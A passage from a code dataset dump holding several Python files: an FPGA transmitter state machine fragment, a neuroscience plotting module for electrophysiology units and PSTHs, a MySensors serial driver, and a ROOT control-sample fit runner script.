tx_done\n\t\tself.trans_fsm.act(\"WAITING\",\n\t\t\tCase(self.byte_cnt,{\n\t\t\t\t\t1:\tNextValue(transmitter.tx_data,self.data_in[5:10]),\n\t\t\t\t\t2:\tNextValue(transmitter.tx_data,self.data_in[10:15]),\n\t\t\t\t\t3:\tNextValue(transmitter.tx_data,self.data_in[15:20]),\n\t\t\t\t\t4:\tNextValue(transmitter.tx_data,self.data_in[20:25]),\n\t\t\t\t\t5:\tNextValue(transmitter.tx_data,self.data_in[25:30]),\n\t\t\t\t\t6:\tNextValue(transmitter.tx_data,self.data_in[30:35]),\n\t\t\t\t\t7:\tNextValue(transmitter.tx_data,self.data_in[35:40])\n\t\t\t\t}),\n\t\t\tIf(~transmitter.tx_done,\n\t\t\t\tNextState(\"SENDING_BYTE\")\n\t\t\t)\n\t\t)\n","sub_path":"Prueba_FPGA/FullMode/transmitter40b.py","file_name":"transmitter40b.py","file_ext":"py","file_size_in_byte":2384,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"559709316","text":"import numpy as np\nimport datajoint as dj\n\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport itertools\nimport pandas as pd\n\nfrom pipeline import experiment, ephys, psth\n\nm_scale = 1200\n\ndef plot_clustering_quality(probe_insert_key):\n amp, snr, spk_rate, isi_violation = (ephys.Unit * ephys.UnitStat\n * ephys.ProbeInsertion.InsertionLocation & probe_insert_key).fetch(\n 'unit_amp', 'unit_snr', 'avg_firing_rate', 'isi_violation')\n\n metrics = {'amp': amp,\n 'snr': snr,\n 'isi': np.array(isi_violation) * 100, # to percentage\n 'rate': np.array(spk_rate)}\n label_mapper = {'amp': 'Amplitude',\n 'snr': 'Signal to noise ratio (SNR)',\n 'isi': 'ISI violation (%)',\n 'rate': 'Firing rate (spike/s)'}\n\n fig, axs = plt.subplots(2, 3, figsize=(12, 8))\n fig.subplots_adjust(wspace=0.4)\n\n for (m1, m2), ax in zip(itertools.combinations(list(metrics.keys()), 2), axs.flatten()):\n ax.plot(metrics[m1], metrics[m2], '.k')\n ax.set_xlabel(label_mapper[m1])\n ax.set_ylabel(label_mapper[m2])\n\n # cosmetic\n ax.spines['right'].set_visible(False)\n ax.spines['top'].set_visible(False)\n\n\ndef plot_unit_characteristic(probe_insert_key, axs=None):\n amp, snr, spk_rate, x, y, insertion_depth = (\n ephys.Unit * ephys.ProbeInsertion.InsertionLocation * ephys.UnitStat\n & probe_insert_key & 'unit_quality != \"all\"').fetch(\n 'unit_amp', 'unit_snr', 'avg_firing_rate', 'unit_posx', 'unit_posy', 'dv_location')\n\n insertion_depth = np.where(np.isnan(insertion_depth), 0, insertion_depth)\n\n metrics = pd.DataFrame(list(zip(*(amp/amp.max(), snr/snr.max(), spk_rate/spk_rate.max(), x, y + insertion_depth))))\n metrics.columns = ['amp', 'snr', 'rate', 'x', 'y']\n\n if axs is None:\n fig, axs = plt.subplots(1, 3, figsize=(10, 8))\n fig.subplots_adjust(wspace=0.6)\n\n assert axs.size == 3\n\n cosmetic = {'legend': None,\n 'linewidth': 1.75,\n 'alpha': 0.9,\n 'facecolor': 'none', 'edgecolor': 'k'}\n\n sns.scatterplot(data=metrics, x='x', y='y', s=metrics.amp*m_scale, ax=axs[0], **cosmetic)\n sns.scatterplot(data=metrics, x='x', y='y', s=metrics.snr*m_scale, ax=axs[1], **cosmetic)\n sns.scatterplot(data=metrics, x='x', y='y', s=metrics.rate*m_scale, ax=axs[2], **cosmetic)\n\n # cosmetic\n for title, ax in zip(('Amplitude', 'SNR', 'Firing rate'), axs.flatten()):\n ax.spines['right'].set_visible(False)\n ax.spines['top'].set_visible(False)\n ax.set_title(title)\n ax.set_xlim((-10, 60))\n\n\ndef plot_unit_selectivity(probe_insert_key, axs=None):\n attr_names = ['unit', 'period', 'period_selectivity', 'contra_firing_rate',\n 'ipsi_firing_rate', 'unit_posx', 'unit_posy', 'dv_location']\n selective_units = (psth.PeriodSelectivity * ephys.Unit * ephys.ProbeInsertion.InsertionLocation\n * experiment.Period & probe_insert_key & 'period_selectivity != \"non-selective\"').fetch(*attr_names)\n selective_units = pd.DataFrame(selective_units).T\n selective_units.columns = attr_names\n selective_units.period_selectivity.astype('category')\n\n # --- account for insertion depth (manipulator depth)\n selective_units.unit_posy = (selective_units.unit_posy\n + np.where(np.isnan(selective_units.dv_location.values.astype(float)),\n 0, selective_units.dv_location.values.astype(float)))\n\n # --- get ipsi vs. contra firing rate difference\n f_rate_diff = np.abs(selective_units.ipsi_firing_rate - selective_units.contra_firing_rate)\n selective_units['f_rate_diff'] = f_rate_diff / f_rate_diff.max()\n\n # --- prepare for plotting\n cosmetic = {'legend': None,\n 'linewidth': 0.0001}\n ymax = selective_units.unit_posy.max() + 100\n\n # a bit of hack to get 'open circle'\n pts = np.linspace(0, np.pi * 2, 24)\n circ = np.c_[np.sin(pts) / 2, -np.cos(pts) / 2]\n vert = np.r_[circ, circ[::-1] * .7]\n\n open_circle = mpl.path.Path(vert)\n\n # --- plot\n if axs is None:\n fig, axs = plt.subplots(1, 3, figsize=(10, 8))\n fig.subplots_adjust(wspace=0.6)\n\n assert axs.size == 3\n\n for (title, df), ax in zip(((p, selective_units[selective_units.period == p])\n for p in ('sample', 'delay', 'response')), axs):\n sns.scatterplot(data=df, x='unit_posx', y='unit_posy',\n s=df.f_rate_diff.values.astype(float)*m_scale,\n hue='period_selectivity', marker=open_circle,\n palette={'contra-selective': 'b', 'ipsi-selective': 'r'},\n ax=ax, **cosmetic)\n contra_p = (df.period_selectivity == 'contra-selective').sum() / len(df) * 100\n # cosmetic\n ax.spines['right'].set_visible(False)\n ax.spines['top'].set_visible(False)\n ax.set_title(f'{title}\\n% contra: {contra_p:.2f}\\n% ipsi: {100-contra_p:.2f}')\n ax.set_xlim((-10, 60))\n ax.set_ylim((0, ymax))\n\n\ndef plot_unit_bilateral_photostim_effect(probe_insert_key, axs=None):\n cue_onset = (experiment.Period & 'period = \"delay\"').fetch1('period_start')\n\n no_stim_cond = (psth.TrialCondition\n & {'trial_condition_name':\n 'all_noearlylick_both_alm_nostim'}).fetch1('KEY')\n\n bi_stim_cond = (psth.TrialCondition\n & {'trial_condition_name':\n 'all_noearlylick_both_alm_stim'}).fetch1('KEY')\n\n # get photostim duration\n stim_durs = np.unique((experiment.Photostim & experiment.PhotostimEvent\n * psth.TrialCondition().get_trials('all_noearlylick_both_alm_stim')\n & probe_insert_key).fetch('duration'))\n stim_dur = _extract_one_stim_dur(stim_durs)\n\n units = ephys.Unit & probe_insert_key & 'unit_quality != \"all\"'\n\n metrics = pd.DataFrame(columns=['unit', 'x', 'y', 'frate_change'])\n\n # XXX: could be done with 1x fetch+join\n for u_idx, unit in enumerate(units.fetch('KEY')):\n\n x, y = (ephys.Unit & unit).fetch1('unit_posx', 'unit_posy')\n\n nostim_psth, nostim_edge = (\n psth.UnitPsth & {**unit, **no_stim_cond}).fetch1('unit_psth')\n\n bistim_psth, bistim_edge = (\n psth.UnitPsth & {**unit, **bi_stim_cond}).fetch1('unit_psth')\n\n # compute the firing rate difference between contra vs. ipsi within the stimulation duration\n ctrl_frate = nostim_psth[np.logical_and(nostim_edge[1:] >= cue_onset, nostim_edge[1:] <= cue_onset + stim_dur)]\n stim_frate = bistim_psth[np.logical_and(bistim_edge[1:] >= cue_onset, bistim_edge[1:] <= cue_onset + stim_dur)]\n\n frate_change = np.abs(stim_frate.mean() - ctrl_frate.mean()) / ctrl_frate.mean()\n\n metrics.loc[u_idx] = (int(unit['unit']), x, y, frate_change)\n\n metrics.frate_change = metrics.frate_change / metrics.frate_change.max()\n\n if axs is None:\n fig, axs = plt.subplots(1, 1, figsize=(4, 8))\n\n cosmetic = {'legend': None,\n 'linewidth': 1.75,\n 'alpha': 0.9,\n 'facecolor': 'none', 'edgecolor': 'k'}\n\n sns.scatterplot(data=metrics, x='x', y='y', s=metrics.frate_change*m_scale,\n ax=axs, **cosmetic)\n\n axs.spines['right'].set_visible(False)\n axs.spines['top'].set_visible(False)\n axs.set_title('% change')\n axs.set_xlim((-10, 60))\n\n\ndef plot_stacked_contra_ipsi_psth(probe_insert_key, axs=None):\n\n if axs is None:\n fig, axs = plt.subplots(1, 2, figsize=(20, 20))\n assert axs.size == 2\n\n period_starts = (experiment.Period\n & 'period in (\"sample\", \"delay\", \"response\")').fetch(\n 'period_start')\n\n hemi = (ephys.ProbeInsertion.InsertionLocation\n * experiment.BrainLocation & probe_insert_key).fetch1('hemisphere')\n\n conds_i = (psth.TrialCondition\n & {'trial_condition_name':\n 'good_noearlylick_left_hit' if hemi == 'left' else 'good_noearlylick_right_hit'}).fetch1('KEY')\n\n conds_c = (psth.TrialCondition\n & {'trial_condition_name':\n 'good_noearlylick_right_hit' if hemi == 'left' else 'good_noearlylick_left_hit'}).fetch1('KEY')\n\n sel_i = (ephys.Unit * psth.UnitSelectivity\n & 'unit_selectivity = \"ipsi-selective\"' & probe_insert_key)\n\n sel_c = (ephys.Unit * psth.UnitSelectivity\n & 'unit_selectivity = \"contra-selective\"' & probe_insert_key)\n\n # ipsi selective ipsi trials\n psth_is_it = (psth.UnitPsth * sel_i.proj('unit_posy') & conds_i).fetch(order_by='unit_posy desc')\n\n # ipsi selective contra trials\n psth_is_ct = (psth.UnitPsth * sel_i.proj('unit_posy') & conds_c).fetch(order_by='unit_posy desc')\n\n # contra selective contra trials\n psth_cs_ct = (psth.UnitPsth * sel_c.proj('unit_posy') & conds_c).fetch(order_by='unit_posy desc')\n\n # contra selective ipsi trials\n psth_cs_it = (psth.UnitPsth * sel_c.proj('unit_posy') & conds_i).fetch(order_by='unit_posy desc')\n\n _plot_stacked_psth_diff(psth_cs_ct, psth_cs_it, ax=axs[0],\n vlines=period_starts, flip=True)\n\n axs[0].set_title('Contra-selective Units')\n axs[0].set_ylabel('Unit (by depth)')\n axs[0].set_xlabel('Time to go (s)')\n\n _plot_stacked_psth_diff(psth_is_it, psth_is_ct, ax=axs[1],\n vlines=period_starts)\n\n axs[1].set_title('Ipsi-selective Units')\n axs[1].set_ylabel('Unit (by depth)')\n axs[1].set_xlabel('Time to go (s)')\n\n\ndef plot_avg_contra_ipsi_psth(probe_insert_key, axs=None):\n\n if axs is None:\n fig, axs = plt.subplots(1, 2, figsize=(16, 6))\n assert axs.size == 2\n\n period_starts = (experiment.Period\n & 'period in (\"sample\", \"delay\", \"response\")').fetch(\n 'period_start')\n\n good_unit = ephys.Unit & 'unit_quality != \"all\"'\n\n hemi = (ephys.ProbeInsertion.InsertionLocation\n * experiment.BrainLocation & probe_insert_key).fetch1('hemisphere')\n\n conds_i = (psth.TrialCondition\n & {'trial_condition_name':\n 'good_noearlylick_left_hit' if hemi == 'left' else 'good_noearlylick_right_hit'}).fetch('KEY')\n\n conds_c = (psth.TrialCondition\n & {'trial_condition_name':\n 'good_noearlylick_right_hit' if hemi == 'left' else 'good_noearlylick_left_hit'}).fetch('KEY')\n\n sel_i = (ephys.Unit * psth.UnitSelectivity\n & 'unit_selectivity = \"ipsi-selective\"' & probe_insert_key)\n\n sel_c = (ephys.Unit * psth.UnitSelectivity\n & 'unit_selectivity = \"contra-selective\"' & probe_insert_key)\n\n psth_is_it = (((psth.UnitPsth & conds_i)\n * ephys.Unit.proj('unit_posy'))\n & good_unit.proj() & sel_i.proj()).fetch(\n 'unit_psth', order_by='unit_posy desc')\n\n psth_is_ct = (((psth.UnitPsth & conds_c)\n * ephys.Unit.proj('unit_posy'))\n & good_unit.proj() & sel_i.proj()).fetch(\n 'unit_psth', order_by='unit_posy desc')\n\n psth_cs_ct = (((psth.UnitPsth & conds_c)\n * ephys.Unit.proj('unit_posy'))\n & good_unit.proj() & sel_c.proj()).fetch(\n 'unit_psth', order_by='unit_posy desc')\n\n psth_cs_it = (((psth.UnitPsth & conds_i)\n * ephys.Unit.proj('unit_posy'))\n & good_unit.proj() & sel_c.proj()).fetch(\n 'unit_psth', order_by='unit_posy desc')\n\n _plot_avg_psth(psth_cs_it, psth_cs_ct, period_starts, axs[0],\n 'Contra-selective')\n _plot_avg_psth(psth_is_it, psth_is_ct, period_starts, axs[1],\n 'Ipsi-selective')\n\n ymax = max([ax.get_ylim()[1] for ax in axs])\n for ax in axs:\n ax.set_ylim((0, ymax))\n\n\ndef plot_psth_bilateral_photostim_effect(probe_insert_key, axs=None):\n if axs is None:\n fig, axs = plt.subplots(1, 2, figsize=(16, 6))\n assert axs.size == 2\n\n insert = (ephys.ProbeInsertion.InsertionLocation\n * experiment.BrainLocation & probe_insert_key).fetch1()\n\n period_starts = (experiment.Period\n & 'period in (\"sample\", \"delay\", \"response\")').fetch(\n 'period_start')\n\n psth_s_l = (psth.UnitPsth * psth.TrialCondition & probe_insert_key\n & {'trial_condition_name':\n 'all_noearlylick_both_alm_stim_left'}).fetch('unit_psth')\n\n psth_n_l = (psth.UnitPsth * psth.TrialCondition & probe_insert_key\n & {'trial_condition_name':\n 'all_noearlylick_both_alm_nostim_left'}).fetch('unit_psth')\n\n psth_s_r = (psth.UnitPsth * psth.TrialCondition & probe_insert_key\n & {'trial_condition_name':\n 'all_noearlylick_both_alm_stim_right'}).fetch('unit_psth')\n\n psth_n_r = (psth.UnitPsth * psth.TrialCondition & probe_insert_key\n & {'trial_condition_name':\n 'all_noearlylick_both_alm_nostim_right'}).fetch('unit_psth')\n\n # get photostim duration\n stim_durs = np.unique((experiment.Photostim & experiment.PhotostimEvent\n * psth.TrialCondition().get_trials('all_noearlylick_both_alm_stim')\n & probe_insert_key).fetch('duration'))\n stim_dur = _extract_one_stim_dur(stim_durs)\n\n if insert['hemisphere'] == 'left':\n psth_s_i = psth_s_l\n psth_n_i = psth_n_l\n psth_s_c = psth_s_r\n psth_n_c = psth_n_r\n else:\n psth_s_i = psth_s_r\n psth_n_i = psth_n_r\n psth_s_c = psth_s_l\n psth_n_c = psth_n_l\n\n _plot_avg_psth(psth_n_i, psth_n_c, period_starts, axs[0],\n 'Control')\n _plot_avg_psth(psth_s_i, psth_s_c, period_starts, axs[1],\n 'Bilateral ALM photostim')\n\n # cosmetic\n ymax = max([ax.get_ylim()[1] for ax in axs])\n for ax in axs:\n ax.set_ylim((0, ymax))\n\n # add shaded bar for photostim\n delay = (experiment.Period # TODO: use from period_starts\n & 'period = \"delay\"').fetch1('period_start')\n axs[1].axvspan(delay, delay + stim_dur, alpha=0.3, color='royalblue')\n\n\ndef plot_coding_direction(units, time_period=None, axs=None):\n _, proj_contra_trial, proj_ipsi_trial, time_stamps = psth.compute_CD_projected_psth(\n units.fetch('KEY'), time_period=time_period)\n\n period_starts = (experiment.Period & 'period in (\"sample\", \"delay\", \"response\")').fetch('period_start')\n\n if axs is None:\n fig, axs = plt.subplots(1, 1, figsize=(8, 6))\n\n # plot\n _plot_with_sem(proj_contra_trial, time_stamps, ax=axs, c='b')\n _plot_with_sem(proj_ipsi_trial, time_stamps, ax=axs, c='r')\n\n for x in period_starts:\n axs.axvline(x=x, linestyle = '--', color = 'k')\n # cosmetic\n axs.spines['right'].set_visible(False)\n axs.spines['top'].set_visible(False)\n axs.set_ylabel('CD projection (a.u.)')\n axs.set_xlabel('Time (s)')\n\n\ndef plot_paired_coding_direction(unit_g1, unit_g2, labels=None, time_period=None):\n \"\"\"\n Plot trial-to-trial CD-endpoint correlation between CD-projected trial-psth from two unit-groups (e.g. two brain regions)\n Note: coding direction is calculated on selective units, contra vs. ipsi, within the specified time_period\n \"\"\"\n _, proj_contra_trial_g1, proj_ipsi_trial_g1, time_stamps = psth.compute_CD_projected_psth(\n unit_g1.fetch('KEY'), time_period=time_period)\n _, proj_contra_trial_g2, proj_ipsi_trial_g2, time_stamps = psth.compute_CD_projected_psth(\n unit_g2.fetch('KEY'), time_period=time_period)\n\n period_starts = (experiment.Period & 'period in (\"sample\", \"delay\", \"response\")').fetch('period_start')\n\n if labels:\n assert len(labels) == 2\n else:\n labels = ('unit group 1', 'unit group 2')\n\n # plot projected trial-psth\n fig, axs = plt.subplots(1, 2, figsize=(16, 6))\n\n _plot_with_sem(proj_contra_trial_g1, time_stamps, ax=axs[0], c='b')\n _plot_with_sem(proj_ipsi_trial_g1, time_stamps, ax=axs[0], c='r')\n _plot_with_sem(proj_contra_trial_g2, time_stamps, ax=axs[1], c='b')\n _plot_with_sem(proj_ipsi_trial_g2, time_stamps, ax=axs[1], c='r')\n\n # cosmetic\n for ax, label in zip(axs, labels):\n for x in period_starts:\n ax.axvline(x=x, linestyle = '--', color = 'k')\n ax.spines['right'].set_visible(False)\n ax.spines['top'].set_visible(False)\n ax.set_ylabel('CD projection (a.u.)')\n ax.set_xlabel('Time (s)')\n ax.set_title(label)\n\n # plot trial CD-endpoint correlation\n p_start, p_end = time_period\n contra_cdend_1 = proj_contra_trial_g1[:, np.logical_and(time_stamps >= p_start, time_stamps < p_end)].mean(axis=1)\n contra_cdend_2 = proj_contra_trial_g2[:, np.logical_and(time_stamps >= p_start, time_stamps < p_end)].mean(axis=1)\n ipsi_cdend_1 = proj_ipsi_trial_g1[:, np.logical_and(time_stamps >= p_start, time_stamps < p_end)].mean(axis=1)\n ipsi_cdend_2 = proj_ipsi_trial_g2[:, np.logical_and(time_stamps >= p_start, time_stamps < p_end)].mean(axis=1)\n\n c_df = pd.DataFrame([contra_cdend_1, contra_cdend_2]).T\n c_df.columns = labels\n c_df['trial-type'] = 'contra'\n i_df = pd.DataFrame([ipsi_cdend_1, ipsi_cdend_2]).T\n i_df.columns = labels\n i_df['trial-type'] = 'ipsi'\n df = c_df.append(i_df)\n\n jplot = jointplot_w_hue(data=df, x=labels[0], y=labels[1], hue='trial-type', colormap=['b', 'r'],\n figsize=(8, 6), fig=None, scatter_kws=None)\n jplot['fig'].show()\n\n\n# ---------- PLOTTING HELPER FUNCTIONS --------------\n\n\ndef _plot_avg_psth(ipsi_psth, contra_psth, vlines={}, ax=None, title=''):\n\n avg_contra_psth = np.vstack(\n np.array([i[0] for i in contra_psth])).mean(axis=0)\n contra_edges = contra_psth[0][1][:-1]\n\n avg_ipsi_psth = np.vstack(\n np.array([i[0] for i in ipsi_psth])).mean(axis=0)\n ipsi_edges = ipsi_psth[0][1][:-1]\n\n ax.plot(contra_edges, avg_contra_psth, 'b', label='contra')\n ax.plot(ipsi_edges, avg_ipsi_psth, 'r', label='ipsi')\n\n for x in vlines:\n ax.axvline(x=x, linestyle='--', color='k')\n\n # cosmetic\n ax.legend()\n ax.set_title(title)\n ax.set_ylabel('Firing Rate (spike/s)')\n ax.set_xlabel('Time (s)')\n ax.spines['right'].set_visible(False)\n ax.spines['top'].set_visible(False)\n\n\ndef _plot_stacked_psth_diff(psth_a, psth_b, vlines=[], ax=None, flip=False):\n \"\"\"\n Heatmap of (psth_a - psth_b)\n psth_a, psth_b are the unit_psth(s) resulted from psth.UnitPSTH.fetch()\n \"\"\"\n plt_xmin, plt_xmax = -3, 3\n\n assert len(psth_a) == len(psth_b)\n nunits = len(psth_a)\n aspect = 4.5 / nunits # 4:3 aspect ratio\n extent = [plt_xmin, plt_xmax, 0, nunits]\n\n a_data = np.array([r[0] for r in psth_a['unit_psth']])\n b_data = np.array([r[0] for r in psth_b['unit_psth']])\n\n result = a_data - b_data\n result = result / np.repeat(result.max(axis=1)[:, None], result.shape[1], axis=1)\n\n # color flip\n result = result * -1 if flip else result\n\n # moving average\n result = np.array([_movmean(i) for i in result])\n\n if ax is None:\n fig, ax = plt.subplots(1, 1)\n\n # ax.set_axis_off()\n ax.set_xlim([plt_xmin, plt_xmax])\n for x in vlines:\n ax.axvline(x=x, linestyle='--', color='k')\n\n im = ax.imshow(result, cmap=plt.cm.bwr, aspect=aspect, extent=extent)\n im.set_clim((-1, 1))\n\n\ndef _plot_with_sem(data, t_vec, ax, c='k'):\n v_mean = np.nanmean(data, axis=0)\n v_sem = np.nanstd(data, axis=0) #/ np.sqrt(data.shape[0])\n ax.plot(t_vec, v_mean, c)\n ax.fill_between(t_vec, v_mean - v_sem, v_mean + v_sem, alpha=0.25, facecolor=c)\n ax.spines['right'].set_visible(False)\n ax.spines['top'].set_visible(False)\n\n\ndef _movmean(data, nsamp=5):\n ret = np.cumsum(data, dtype=float)\n ret[nsamp:] = ret[nsamp:] - ret[:-nsamp]\n return ret[nsamp - 1:] / nsamp\n\n\ndef _extract_one_stim_dur(stim_durs):\n \"\"\"\n In case of multiple photostim durations - pick the shortest duration\n In case of no photostim durations - return the default of 0.5s\n \"\"\"\n default_stim_dur = 0.5\n if len(stim_durs) == 0:\n return default_stim_dur\n elif len(stim_durs) > 1:\n print(f'Found multiple stim durations: {stim_durs} - select {min(stim_durs)}')\n return float(min(stim_durs))\n else:\n return float(stim_durs[0]) if len(stim_durs) == 1 and stim_durs[0] else default_stim_dur\n\n\ndef jointplot_w_hue(data, x, y, hue=None, colormap=None,\n figsize=None, fig=None, scatter_kws=None):\n \"\"\"\n __author__ = \"lewis.r.liu@gmail.com\"\n __copyright__ = \"Copyright 2018, github.com/ruxi\"\n __license__ = \"MIT\"\n __version__ = 0.0\n .1\n\n # update: Mar 5 , 2018\n # created: Feb 19, 2018\n # desc: seaborn jointplot with 'hue'\n # prepared for issue: https://github.com/mwaskom/seaborn/issues/365\n\n jointplots with hue groupings.\n minimum working example\n -----------------------\n iris = sns.load_dataset(\"iris\")\n jointplot_w_hue(data=iris, x = 'sepal_length', y = 'sepal_width', hue = 'species')['fig']\n changelog\n ---------\n 2018 Mar 5: added legends and colormap\n 2018 Feb 19: gist made\n \"\"\"\n\n import matplotlib.gridspec as gridspec\n import matplotlib.patches as mpatches\n # defaults\n if colormap is None:\n colormap = sns.color_palette() # ['blue','orange']\n if figsize is None:\n figsize = (5, 5)\n if fig is None:\n fig = plt.figure(figsize = figsize)\n if scatter_kws is None:\n scatter_kws = dict(alpha = 0.4, lw = 1)\n\n # derived variables\n if hue is None:\n return \"use normal sns.jointplot\"\n hue_groups = data[hue].unique()\n\n subdata = dict()\n colors = dict()\n\n active_colormap = colormap[0: len(hue_groups)]\n legend_mapping = []\n for hue_grp, color in zip(hue_groups, active_colormap):\n legend_entry = mpatches.Patch(color = color, label = hue_grp)\n legend_mapping.append(legend_entry)\n\n subdata[hue_grp] = data[data[hue] == hue_grp]\n colors[hue_grp] = color\n\n # canvas setup\n grid = gridspec.GridSpec(2, 2,\n width_ratios = [4, 1],\n height_ratios = [1, 4],\n hspace = 0, wspace = 0\n )\n ax_main = plt.subplot(grid[1, 0])\n ax_xhist = plt.subplot(grid[0, 0], sharex = ax_main)\n ax_yhist = plt.subplot(grid[1, 1]) # , sharey=ax_main)\n\n ## plotting\n\n # histplot x-axis\n for hue_grp in hue_groups:\n sns.distplot(subdata[hue_grp][x], color = colors[hue_grp]\n , ax = ax_xhist)\n\n # histplot y-axis\n for hue_grp in hue_groups:\n sns.distplot(subdata[hue_grp][y], color = colors[hue_grp]\n , ax = ax_yhist, vertical = True)\n\n # main scatterplot\n # note: must be after the histplots else ax_yhist messes up\n for hue_grp in hue_groups:\n sns.regplot(data = subdata[hue_grp], fit_reg = True,\n x = x, y = y, ax = ax_main, color = colors[hue_grp]\n , line_kws={'alpha': 0.5}, scatter_kws = scatter_kws\n )\n\n # despine\n for myax in [ax_yhist, ax_xhist]:\n sns.despine(ax = myax, bottom = False, top = True, left = False, right = True\n , trim = False)\n plt.setp(myax.get_xticklabels(), visible = False)\n plt.setp(myax.get_yticklabels(), visible = False)\n\n # topright\n ax_legend = plt.subplot(grid[0, 1]) # , sharey=ax_main)\n plt.setp(ax_legend.get_xticklabels(), visible = False)\n plt.setp(ax_legend.get_yticklabels(), visible = False)\n\n ax_legend.legend(handles = legend_mapping)\n return dict(fig = fig, gridspec = grid)\n\n","sub_path":"pipeline/plot/unit_characteristic_plot.py","file_name":"unit_characteristic_plot.py","file_ext":"py","file_size_in_byte":24010,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"444650595","text":"#!/usr/bin/python\n\nimport re\nimport serial\nfrom time import sleep\n\n## From Nodes\nID = 0\nNODE = 1\nDEVICE = 2\nPOINT = 3\nDATA = 4\n\n## Driver Specific\nCONST_REGISTER = 0\nCONST_PARAMETER = 1\nCONST_FUNCTION = 2\nCONST_STATE = 3\nCONST_DATA = 4\n\nINIT = 0\n\n# INITCommand = ['NSP', 'NSH', 'PW?', 'MV?', 'MU?', 'SI?', 'ZM?', 'Z2MU?', 'Z2?']\n\nMYSENSORS = [\n[1, 'MYGATEWAY', '(0;0)', 'R', None]\n]\n\ndef initSerial():\n global myser\n myser = serial.Serial('/dev/mysensors', 115200)\n myser.flushInput()\n myser.flushOutput()\n\n global INIT\n# for Command in INITCommand: \n# WriteData(1, Command)\n# sleep(0.5)\n INIT = 1\n\ndef ReadData():\n\n if INIT == 0:initSerial()\n data = []\n\n buffer_string = ''\n buffer_string = myser.read(myser.inWaiting())\n if '\\n' in buffer_string:\n lines = buffer_string.split('\\n')\n\n for i in range(len(lines)):\n parsedata(lines[i])\n# print lines[i]\n\n for i in range(len(MYSENSORS)): \n if MYSENSORS[i][CONST_DATA] is not None: data.append(['MYSENSORS', MYSENSORS[i][CONST_PARAMETER] ,MYSENSORS[i][CONST_DATA]])\n else: data.append(['MYSENSORS', MYSENSORS[i][CONST_PARAMETER] ,'None'])\n\n return data\n\n\ndef parsedata(data):\n regexp = '(.*);(.*)'\n m = re.match(regexp, data)\n if m:\n d = m.group(1).rstrip()\n i = d.split(\";\")\n# print len(i)\n if len(i) is not 5: return \n# print i\n payload = m.group(2).rstrip()\n nodeId = i[0]\n childId = i[1]\n messageType = i[2]\n ack = i[3]\n SubType = i[4]\n sensor = nodeId + ';' + childId \n\n for i in range(len(MYSENSORS)):\n regexp = MYSENSORS[i][2].encode(\"utf-8\")\n m = re.match(regexp, sensor)\n if m: \n d = m.group(1).rstrip()\n MYSENSORS[i][CONST_DATA] = payload\n if not sensor_exist(sensor):\n id = len(MYSENSORS) + 1\n name = 'NODE_' + sensor\n regexp = '(' + sensor + ')'\n# print 'NEW:' + sensor\n# print m\n MYSENSORS.append([id, name, regexp, 'R', payload])\n# print MYSENSORS\n\ndef WriteData(parameter, data):\n cmd = '%s\\r' % (data)\n cmd = bytes(cmd)\n myser.write(cmd)\n\ndef get_device_index(key, field, device):\n for index, sublist in enumerate(device):\n if sublist[field] == key:\n return index\n\ndef sensor_exist(sensor):\n i = False\n sensor = '(' + sensor + ')'\n for index, sublist in enumerate(MYSENSORS):\n if sublist[CONST_FUNCTION] == sensor:\n i = True\n return i\n\n\nDRIVER = {'PROTOCOL': 'Serial', 'DATATYPE': 'ASCI'}\nDEVICES = {'MYSENSORS': MYSENSORS}\nCOMMANDS = {'READ': ReadData, 'WRITE': WriteData}\n\nNode = {'DEVICES': DEVICES, 'DRIVER': DRIVER, 'COMMANDS': COMMANDS}\n","sub_path":"Mysensors.py","file_name":"Mysensors.py","file_ext":"py","file_size_in_byte":2658,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"541050578","text":"from optparse import OptionParser\nimport os\nimport ROOT as rt\nfrom array import *\nimport sys\nimport glob\nfrom RunCombine import exec_me\n\nif __name__ == '__main__':\n\n\n boxes = ['TTBarSingleLepton','WSingleLepton']\n #fits = ['Sideband']\n #fits = ['Full']\n fits = ['Sideband','Full']\n configs = ['config/controlsample.config']\n \n \n lumi = 23.8\n\n dryRun=False\n \n for box in boxes:\n for cfg in configs: \n\n exec_me('python python/CRTuple2RooDataSet.py -c %s -b %s -d ControlSampleFits/ ControlSampleFits/SingleMuonAndElectron_Run2015B-GOLDEN.root -l %f'%(cfg,box,lumi),dryRun)\n #exec_me('python python/CRTuple2RooDataSet.py -c %s -b %s -d ControlSampleFits/ ControlSampleFits/RunTwoRazorControlRegions_OneLeptonFull_Run2015B_GoodLumiDCS_NoDuplicates.root -l %f'%(cfg,box,lumi),dryRun)\n \n for fit in fits: \n if box in ['TTBarSingleLepton']:\n btag = '1btag'\n else:\n btag = '0btag'\n \n lumiString = '%.4f'%(lumi/1000)\n #lumiString = lumiString.replace('.','p')\n\n fitString = ''\n if fit=='Sideband':\n fitString = '--fit-region LowMR,LowRsq'\n \n outDir = \"ControlSampleFits/%s/\"%(box)\n exec_me('mkdir -p %s' %(outDir),dryRun)\n outDir = \"ControlSampleFits/%s/%s/\"%(box,fit)\n exec_me('mkdir -p %s' %(outDir),dryRun)\n dsName = 'ControlSampleFits/SingleMuonAndElectron_Run2015B-GOLDEN_lumi-%s_%s_%s.root'%(lumiString,btag,box)\n #dsName = 'ControlSampleFits/RunTwoRazorControlRegions_OneLeptonFull_Run2015B_GoodLumiDCS_NoDuplicates_lumi-%s_%s_%s.root'%(lumiString,btag,box)\n exec_me('python python/BinnedFit.py -c %s -b %s -l %f -d %s %s %s --data' %(cfg,box,lumi,outDir,fitString,dsName),dryRun)\n #exec_me('python python/RunToys.py -c %s -b %s -i %s/BinnedFitResults_%s.root -d %s -t 3000'%(cfg,box,outDir,box,outDir),dryRun)\n #exec_me('python python/PlotFit.py -c %s -b %s -l %f -i %s/BinnedFitResults_%s.root -d %s -t %s/toys_Bayes_%s.root --data' %(cfg,box,lumi,outDir,box,outDir,outDir,box),dryRun)\n exec_me('python python/PlotFit.py -c %s -b %s -l %f -i %s/BinnedFitResults_%s.root -d %s %s --data' %(cfg,box,lumi,outDir,box,outDir,fitString),dryRun)\n \n \n \n","sub_path":"python/RunCRFits.py","file_name":"RunCRFits.py","file_ext":"py","file_size_in_byte":2529,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"29897330","text":"from aleph.index import TYPE_RECORD\nfrom 